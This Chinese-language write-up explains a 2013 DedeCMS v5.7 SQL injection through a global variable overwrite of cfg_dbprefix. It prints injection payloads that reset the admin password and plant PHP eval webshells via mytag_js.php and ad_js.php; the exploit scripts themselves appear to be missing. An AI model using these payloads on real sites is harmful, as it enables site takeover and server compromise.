首先我们一起来了解下DedeCMS v5.7漏洞情况:
1、漏洞描述
漏洞所在版本:DedeCMS v5.7
漏洞发布时间:2013年06月07日
漏洞修复版本:DedeCMS v5.7 20130607之后版本
漏洞触发条件:确保php.ini中使用php_mysql.dll同时未开启php_mysqli.dll。
漏洞触发根源:在于/include/dedesql.class.php文件中程序未初始化$arrs1和$arrs2这两个数组,结合程序不安全的参数处理机制,导致我们能够覆盖程序中任意全局变量。因此我们可通过控制全局变量$GLOBALS['cfg_dbprefix']的值,进而通过$prefix值和/plus/download.php中的SQL语句构造,从而造成了此SQL注入漏洞。
由于DedeCMS使用广泛,而此高危注入漏洞利用方便,并且能够因此远程获取到管理后台管理员,或者可getshell获取到系统的控制权。网上已公开的有以下3种EXP:
1.1修改后台管理员
(1)如:构造如下注入SQL语句:
cfg_dbprefixadmin` SET `userid`='spider',
`pwd`='f297a57a5a743894a0e4' where id=1
#修改后台管理员为:用户名spider,密码admin。
(2)对应的EXP:
(3)执行EXP后,相应后台数据库表变为如下:
(4)因此相应后台登录用户变为spider密码admin
1.2通过/plus/mytag_js.php文件生成一句话木马php
(1)如:构造如下注入SQL语句:
cfg_dbprefixmytag` (aid,expbody,normbody)
VALUES(9013,@`\'`,'{dede:php}file_put_contents(''mybak.php'',''<?php
eval_r($_POST[mybak]);?>'');{/dede:php}') #
@`\'`
(2)对应的EXP:
(3)执行EXP后,将向数据库表dede_mytag中插入一条记录,如图:
1.3使/plus/ad_js.php文件变为一句话木马php
(1)如:构造如下注入SQL语句:
cfg_dbprefixmyad` SET `normbody` = '<?php
eval_r($_POST[m]);?>' WHERE `aid` =1 #
(2)对应的EXP:
(3)执行EXP后,将向数据库表dede_myad中插入一条记录,如图;